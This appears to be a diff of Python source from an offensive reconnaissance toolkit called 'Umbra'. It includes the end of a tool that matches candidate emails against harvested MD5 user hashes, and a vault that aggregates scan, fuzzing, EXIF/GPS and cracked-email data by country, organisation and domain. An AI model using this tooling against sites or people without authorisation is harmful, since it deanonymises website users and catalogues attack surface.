|
||||
t.add_column("Metric", style="bold")
|
||||
t.add_column("Value", justify="right", style="cyan")
|
||||
t.add_row("Total Hashes", f"{total:,}")
|
||||
t.add_row("Cracked", f"[green]{cracked:,}[/]")
|
||||
t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]")
|
||||
if total > 0:
|
||||
t.add_row("Crack Rate", f"{cracked/total*100:.1f}%")
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "8":
|
||||
def on_email(email):
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||
if row:
|
||||
tui.log(f"[+] MATCH: {email} -> {h}")
|
||||
if not row["cracked_email"]:
|
||||
conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?",
|
||||
(email, h))
|
||||
conn.commit()
|
||||
tui.log(" Recorded as cracked.")
|
||||
else:
|
||||
tui.log(f"[-] No match for {email} (hash: {h})")
|
||||
tui.prompt("Email to verify", on_email)
|
||||
|
||||
elif key == "9":
|
||||
def on_email(email):
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
tui.log(f"[*] {email} -> {h}")
|
||||
tui.prompt("Email", on_email)
|
||||
|
||||
tui = UmbraTUI(
|
||||
tool_name=TOOL_NAME,
|
||||
version=VERSION,
|
||||
menu_items=MENU_ITEMS,
|
||||
info_items=CRACK_INFO,
|
||||
action_handler=action_handler,
|
||||
stats_fn=lambda: get_db_stats(conn),
|
||||
theme=THEME_COLOR,
|
||||
engagement=ctx.obj.get("engagement"),
|
||||
)
|
||||
tui.run()
|
||||
conn.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
Executable
+920
@@ -0,0 +1,920 @@
|
||||
#!/usr/bin/env python3
|
||||
"""um-vault.py — Umbra Master Database Aggregator
|
||||
10-table relational schema (countries→orgs→domains→hashes→cracked).
|
||||
Imports from um-hash + um-crack databases, statistics dashboard.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import glob
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
import click
|
||||
from rich.console import Console
|
||||
from rich.table import Table
|
||||
from rich import box
|
||||
|
||||
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||
VERSION = "1.0.0"
|
||||
TOOL_NAME = "um-vault"
|
||||
THEME_COLOR = "bright_white"
|
||||
BANNER = r"""
|
||||
_ _ __ __ ____ _____ __ __ _ _ _ _______
|
||||
| | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __|
|
||||
| | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | |
|
||||
| | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | |
|
||||
| |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| |
|
||||
\____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_|
|
||||
"""
|
||||
|
||||
# ─── Database Schema (10 tables) ─────────────────────────────────────────────
|
||||
def init_db(path="um-vault.db"):
|
||||
conn = sqlite3.connect(path, check_same_thread=False)
|
||||
conn.row_factory = sqlite3.Row
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.execute("PRAGMA busy_timeout=5000")
|
||||
conn.execute("PRAGMA foreign_keys=ON")
|
||||
|
||||
# 1. Countries
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS countries (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
code TEXT UNIQUE NOT NULL,
|
||||
name TEXT DEFAULT '',
|
||||
region TEXT DEFAULT '',
|
||||
total_orgs INTEGER DEFAULT 0,
|
||||
total_domains INTEGER DEFAULT 0
|
||||
)
|
||||
""")
|
||||
|
||||
# 2. Organizations
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS organizations (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT UNIQUE NOT NULL,
|
||||
country_code TEXT DEFAULT '',
|
||||
industry TEXT DEFAULT '',
|
||||
total_domains INTEGER DEFAULT 0,
|
||||
total_hashes INTEGER DEFAULT 0,
|
||||
total_cracked INTEGER DEFAULT 0,
|
||||
FOREIGN KEY (country_code) REFERENCES countries(code)
|
||||
)
|
||||
""")
|
||||
|
||||
# 3. Domains
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS domains (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
domain TEXT UNIQUE NOT NULL,
|
||||
org_id INTEGER DEFAULT 0,
|
||||
is_wordpress INTEGER DEFAULT 0,
|
||||
wp_version TEXT DEFAULT '',
|
||||
detection_methods TEXT DEFAULT '',
|
||||
total_hashes INTEGER DEFAULT 0,
|
||||
total_cracked INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
last_seen DATETIME,
|
||||
FOREIGN KEY (org_id) REFERENCES organizations(id)
|
||||
)
|
||||
""")
|
||||
|
||||
# 4. Hashes
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS hashes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hash TEXT UNIQUE NOT NULL,
|
||||
domain_id INTEGER DEFAULT 0,
|
||||
domain TEXT DEFAULT '',
|
||||
username TEXT DEFAULT '',
|
||||
display_name TEXT DEFAULT '',
|
||||
user_id INTEGER DEFAULT 0,
|
||||
avatar_url TEXT DEFAULT '',
|
||||
cracked_email TEXT DEFAULT '',
|
||||
crack_method TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
cracked_at DATETIME,
|
||||
FOREIGN KEY (domain_id) REFERENCES domains(id)
|
||||
)
|
||||
""")
|
||||
|
||||
# 5. Ports (from um-scan)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS ports (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
host TEXT NOT NULL,
|
||||
port INTEGER NOT NULL,
|
||||
state TEXT DEFAULT 'open',
|
||||
service TEXT DEFAULT '',
|
||||
banner TEXT DEFAULT '',
|
||||
response_ms INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(host, port)
|
||||
)
|
||||
""")
|
||||
|
||||
# 6. Intel findings (from um-intel)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS intel (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
target TEXT NOT NULL,
|
||||
source TEXT NOT NULL,
|
||||
finding_type TEXT NOT NULL,
|
||||
value TEXT NOT NULL,
|
||||
extra TEXT DEFAULT '{}',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(target, source, finding_type, value)
|
||||
)
|
||||
""")
|
||||
|
||||
# 7. API endpoints (from um-api)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS api_endpoints (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
target TEXT NOT NULL,
|
||||
url TEXT NOT NULL,
|
||||
path TEXT DEFAULT '',
|
||||
discovery_method TEXT NOT NULL,
|
||||
status_code INTEGER DEFAULT 0,
|
||||
description TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(target, url, discovery_method)
|
||||
)
|
||||
""")
|
||||
|
||||
# 8. Fuzz results (from um-fuzz)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS fuzz_results (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
base_url TEXT NOT NULL,
|
||||
path TEXT NOT NULL,
|
||||
status_code INTEGER NOT NULL,
|
||||
content_length INTEGER DEFAULT 0,
|
||||
content_type TEXT DEFAULT '',
|
||||
redirect_url TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(base_url, path)
|
||||
)
|
||||
""")
|
||||
|
||||
# 9. EXIF data (from um-exif)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS exif_data (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
file_path TEXT UNIQUE NOT NULL,
|
||||
file_name TEXT DEFAULT '',
|
||||
camera_make TEXT DEFAULT '',
|
||||
camera_model TEXT DEFAULT '',
|
||||
datetime_original TEXT DEFAULT '',
|
||||
gps_coords TEXT DEFAULT '',
|
||||
artist TEXT DEFAULT '',
|
||||
copyright TEXT DEFAULT ''
|
||||
)
|
||||
""")
|
||||
|
||||
# 10. Enum findings (from um-enum)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS enum_findings (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
domain TEXT NOT NULL,
|
||||
phase TEXT NOT NULL,
|
||||
command TEXT NOT NULL,
|
||||
value TEXT NOT NULL,
|
||||
url TEXT DEFAULT '',
|
||||
status_code INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(domain, command, value)
|
||||
)
|
||||
""")
|
||||
|
||||
# Indexes
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)")
|
||||
conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)")
|
||||
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
# ─── Import Functions ─────────────────────────────────────────────────────────
|
||||
def import_wp_db(vault_conn, wp_db_path):
|
||||
"""Import from um-wp.db."""
|
||||
if not os.path.exists(wp_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(wp_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM sites").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen)
|
||||
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(domain) DO UPDATE SET
|
||||
is_wordpress = MAX(is_wordpress, excluded.is_wordpress),
|
||||
wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END,
|
||||
detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END,
|
||||
last_seen = CURRENT_TIMESTAMP
|
||||
""", (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_hash_db(vault_conn, hash_db_path):
|
||||
"""Import from um-hash.db."""
|
||||
if not os.path.exists(hash_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(hash_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||
# Ensure domain exists
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO domains (domain) VALUES (?)
|
||||
""", (r["domain"],))
|
||||
|
||||
domain_row = vault_conn.execute(
|
||||
"SELECT id FROM domains WHERE domain=?", (r["domain"],)
|
||||
).fetchone()
|
||||
domain_id = domain_row["id"] if domain_row else 0
|
||||
|
||||
vault_conn.execute("""
|
||||
INSERT INTO hashes (hash, domain_id, domain, username, display_name,
|
||||
user_id, avatar_url)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END
|
||||
""", (r["hash"], domain_id, r["domain"], r["username"],
|
||||
r["display_name"], r["user_id"], r["avatar_url"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_crack_db(vault_conn, crack_db_path):
|
||||
"""Import from um-crack.db."""
|
||||
if not os.path.exists(crack_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(crack_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall():
|
||||
vault_conn.execute("""
|
||||
UPDATE hashes SET
|
||||
cracked_email = ?,
|
||||
crack_method = ?,
|
||||
cracked_at = ?
|
||||
WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL)
|
||||
""", (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"]))
|
||||
if vault_conn.execute("SELECT changes()").fetchone()[0] == 0:
|
||||
# Hash not in vault yet, insert it
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO hashes (hash, domain, username, display_name,
|
||||
cracked_email, crack_method, cracked_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||
r["cracked_email"], r["crack_method"], r["cracked_at"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_scan_db(vault_conn, scan_db_path):
|
||||
"""Import from um-scan.db."""
|
||||
if not os.path.exists(scan_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(scan_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT INTO ports (host, port, state, service, banner, response_ms)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(host, port) DO UPDATE SET
|
||||
service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END,
|
||||
banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END
|
||||
""", (r["host"], r["port"], r["state"], r["service"],
|
||||
r["banner"], r["response_ms"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_intel_db(vault_conn, intel_db_path):
|
||||
"""Import from um-intel.db."""
|
||||
if not os.path.exists(intel_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(intel_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""", (r["target"], r["source"], r["finding_type"], r["value"], r["extra"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_api_db(vault_conn, api_db_path):
|
||||
"""Import from um-api.db."""
|
||||
if not os.path.exists(api_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(api_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM endpoints").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method,
|
||||
status_code, description)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["target"], r["url"], r["path"], r["discovery_method"],
|
||||
r["status_code"], r["description"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_fuzz_db(vault_conn, fuzz_db_path):
|
||||
"""Import from um-fuzz.db."""
|
||||
if not os.path.exists(fuzz_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(fuzz_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM results").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code,
|
||||
content_length, content_type, redirect_url)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["base_url"], r["path"], r["status_code"],
|
||||
r["content_length"], r["content_type"], r["redirect_url"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_exif_db(vault_conn, exif_db_path):
|
||||
"""Import from um-exif.db."""
|
||||
if not os.path.exists(exif_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(exif_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make,
|
||||
camera_model, datetime_original, gps_coords, artist, copyright)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||
""", (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"],
|
||||
r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_enum_db(vault_conn, enum_db_path):
|
||||
"""Import from um-enum.db."""
|
||||
if not os.path.exists(enum_db_path):
|
||||
return 0
|
||||
src = sqlite3.connect(enum_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
count = 0
|
||||
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||
vault_conn.execute("""
|
||||
INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""", (r["domain"], r["phase"], r["command"], r["value"],
|
||||
r["url"], r["status_code"]))
|
||||
count += 1
|
||||
vault_conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
# Map tool prefixes to import functions
|
||||
IMPORT_MAP = {
|
||||
"um-wp": import_wp_db,
|
||||
"um-hash": import_hash_db,
|
||||
"um-crack": import_crack_db,
|
||||
"um-scan": import_scan_db,
|
||||
"um-intel": import_intel_db,
|
||||
"um-api": import_api_db,
|
||||
"um-fuzz": import_fuzz_db,
|
||||
"um-exif": import_exif_db,
|
||||
"um-enum": import_enum_db,
|
||||
}
|
||||
|
||||
def detect_db_type(path):
|
||||
"""Detect which Umbra tool created a .db file."""
|
||||
basename = os.path.basename(path).lower()
|
||||
for prefix in IMPORT_MAP:
|
||||
if basename.startswith(prefix):
|
||||
return prefix
|
||||
# Try detecting by table names
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
tables = [r[0] for r in conn.execute(
|
||||
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||
).fetchall()]
|
||||
conn.close()
|
||||
if "sites" in tables and "hashes" not in tables:
|
||||
return "um-wp"
|
||||
if "hashes" in tables and "sites" in tables:
|
||||
return "um-hash"
|
||||
if "hashes" in tables and "sites" not in tables:
|
||||
return "um-crack"
|
||||
if "ports" in tables:
|
||||
return "um-scan"
|
||||
if "findings" in tables and "targets" in tables:
|
||||
# Could be intel or enum — check columns
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()]
|
||||
conn.close()
|
||||
if "source" in cols:
|
||||
return "um-intel"
|
||||
if "phase" in cols:
|
||||
return "um-enum"
|
||||
except Exception:
|
||||
pass
|
||||
if "endpoints" in tables:
|
||||
return "um-api"
|
||||
if "results" in tables:
|
||||
return "um-fuzz"
|
||||
if "images" in tables:
|
||||
return "um-exif"
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||
console = Console()
|
||||
from um_tui import UmbraTUI
|
||||
from um_ops import (create_engagement, get_engagement_db_path, list_engagements,
|
||||
generate_engagement_summary, op_log, op_log_csv, get_ops_hook)
|
||||
|
||||
MENU_ITEMS = [
|
||||
("1", "Import a tool database"),
|
||||
("2", "Import all (auto-detect)"),
|
||||
("3", "Merge from directory"),
|
||||
("4", "Dashboard / statistics"),
|
||||
("5", "Run SQL query"),
|
||||
("6", "Export table to CSV"),
|
||||
("7", "Create engagement"),
|
||||
("8", "Switch engagement"),
|
||||
("9", "Engagement summary"),
|
||||
("Q", "Quit"),
|
||||
]
|
||||
|
||||
VAULT_INFO = [
|
||||
"10-table relational schema",
|
||||
"Auto-detect DB type",
|
||||
"Import from all Umbra tools",
|
||||
"Custom SQL queries",
|
||||
"Per-table CSV export",
|
||||
]
|
||||
|
||||
def get_db_stats(conn):
|
||||
try:
|
||||
tables_counts = []
|
||||
for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints",
|
||||
"fuzz_results", "exif_data", "enum_findings"]:
|
||||
try:
|
||||
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||
if c > 0:
|
||||
tables_counts.append(f"{tbl}:{c:,}")
|
||||
except Exception:
|
||||
pass
|
||||
return " | ".join(tables_counts) if tables_counts else "Vault: empty"
|
||||
except Exception:
|
||||
return "Vault: empty"
|
||||
|
||||
def show_dashboard(conn):
|
||||
"""Show comprehensive statistics dashboard."""
|
||||
stats = {}
|
||||
|
||||
tables = {
|
||||
"domains": "Domains",
|
||||
"hashes": "Hashes",
|
||||
"ports": "Open Ports",
|
||||
"intel": "Intel Findings",
|
||||
"api_endpoints": "API Endpoints",
|
||||
"fuzz_results": "Fuzz Results",
|
||||
"exif_data": "EXIF Images",
|
||||
"enum_findings": "Enum Findings",
|
||||
"countries": "Countries",
|
||||
"organizations": "Organizations",
|
||||
}
|
||||
|
||||
for table, label in tables.items():
|
||||
try:
|
||||
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||
stats[label] = count
|
||||
except Exception:
|
||||
stats[label] = 0
|
||||
|
||||
# Main stats table
|
||||
main_table = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||
title=f"[bold {THEME_COLOR}]Umbra Vault — Master Database[/]")
|
||||
main_table.add_column("Table", style="bold", width=20)
|
||||
main_table.add_column("Records", justify="right", style="cyan", width=12)
|
||||
|
||||
for label, count in stats.items():
|
||||
style = "[green]" if count > 0 else "[dim]"
|
||||
main_table.add_row(label, f"{style}{count:,}[/]")
|
||||
|
||||
console.print(main_table)
|
||||
|
||||
# Domain breakdown
|
||||
try:
|
||||
wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0]
|
||||
total_domains = stats.get("Domains", 0)
|
||||
if total_domains:
|
||||
console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Hash breakdown
|
||||
try:
|
||||
total_hashes = stats.get("Hashes", 0)
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
if total_hashes:
|
||||
console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Top services
|
||||
try:
|
||||
top_services = conn.execute("""
|
||||
SELECT service, COUNT(*) as cnt FROM ports
|
||||
GROUP BY service ORDER BY cnt DESC LIMIT 5
|
||||
""").fetchall()
|
||||
if top_services:
|
||||
svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||
title=f"[{THEME_COLOR}]Top Services[/]")
|
||||
svc_table.add_column("Service", style="cyan")
|
||||
svc_table.add_column("Count", justify="right")
|
||||
for s in top_services:
|
||||
svc_table.add_row(s["service"], str(s["cnt"]))
|
||||
console.print(svc_table)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Top intel sources
|
||||
try:
|
||||
top_sources = conn.execute("""
|
||||
SELECT source, COUNT(*) as cnt FROM intel
|
||||
GROUP BY source ORDER BY cnt DESC LIMIT 5
|
||||
""").fetchall()
|
||||
if top_sources:
|
||||
src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||
title=f"[{THEME_COLOR}]Top Intel Sources[/]")
|
||||
src_table.add_column("Source", style="yellow")
|
||||
src_table.add_column("Count", justify="right")
|
||||
for s in top_sources:
|
||||
src_table.add_row(s["source"], str(s["cnt"]))
|
||||
console.print(src_table)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def export_table_csv(conn, table_name, output):
|
||||
"""Export a specific table to CSV."""
|
||||
try:
|
||||
cursor = conn.execute(f'SELECT * FROM "{table_name}"')
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]")
|
||||
except Exception as e:
|
||||
console.print(f"[red]Export error: {e}[/]")
|
||||
|
||||
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||
@click.group(invoke_without_command=True)
|
||||
@click.option("--db", default="um-vault.db", help="Vault database path")
|
||||
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||
@click.pass_context
|
||||
def cli(ctx, db, engagement):
|
||||
"""Umbra Vault — Master database aggregator for all Umbra tools."""
|
||||
ctx.ensure_object(dict)
|
||||
# Env var fallback
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
if engagement:
|
||||
create_engagement(engagement)
|
||||
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||
ctx.obj["db"] = db
|
||||
ctx.obj["engagement"] = engagement
|
||||
# Ops hook
|
||||
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||
ctx.obj["hook"] = hook
|
||||
if hook:
|
||||
hook.register()
|
||||
if ctx.invoked_subcommand is None:
|
||||
interactive_menu(ctx)
|
||||
|
||||
@cli.command("import")
|
||||
@click.argument("source")
|
||||
@click.option("--type", "db_type", default=None,
|
||||
help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)")
|
||||
@click.pass_context
|
||||
def import_cmd(ctx, source, db_type):
|
||||
"""Import an Umbra tool database into the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
if not db_type:
|
||||
db_type = detect_db_type(source)
|
||||
if not db_type:
|
||||
console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
if db_type not in IMPORT_MAP:
|
||||
console.print(f"[red]Unknown type: {db_type}[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, source)
|
||||
console.print(f"[green]Imported {count} records from {source} ({db_type})[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("directory")
|
||||
@click.pass_context
|
||||
def merge(ctx, directory):
|
||||
"""Merge all .db files from a directory into the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_files:
|
||||
console.print(f"[red]No .db files found in {directory}[/]")
|
||||
conn.close()
|
||||
return
|
||||
|
||||
total_imported = 0
|
||||
for db_path in sorted(db_files):
|
||||
if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]):
|
||||
continue # Skip vault itself
|
||||
|
||||
db_type = detect_db_type(db_path)
|
||||
if db_type and db_type in IMPORT_MAP:
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, db_path)
|
||||
console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]")
|
||||
total_imported += count
|
||||
else:
|
||||
console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]")
|
||||
|
||||
console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command("import-all")
|
||||
@click.pass_context
|
||||
def import_all(ctx):
|
||||
"""Auto-import all Umbra .db files from current directory."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
default_files = {
|
||||
"um-wp": "um-wp.db",
|
||||
"um-hash": "um-hash.db",
|
||||
"um-crack": "um-crack.db",
|
||||
"um-scan": "um-scan.db",
|
||||
"um-intel": "um-intel.db",
|
||||
"um-api": "um-api.db",
|
||||
"um-fuzz": "um-fuzz.db",
|
||||
"um-exif": "um-exif.db",
|
||||
"um-enum": "um-enum.db",
|
||||
}
|
||||
|
||||
total = 0
|
||||
for db_type, filename in default_files.items():
|
||||
if os.path.exists(filename):
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, filename)
|
||||
console.print(f"[green] {filename}: {count} records[/]")
|
||||
total += count
|
||||
else:
|
||||
console.print(f"[dim] {filename}: not found[/]")
|
||||
|
||||
console.print(f"\n[green]Total: {total} records imported[/]")
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def dashboard(ctx):
|
||||
"""Show the statistics dashboard."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_dashboard(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("table_name")
|
||||
@click.option("-o", "--output", default=None)
|
||||
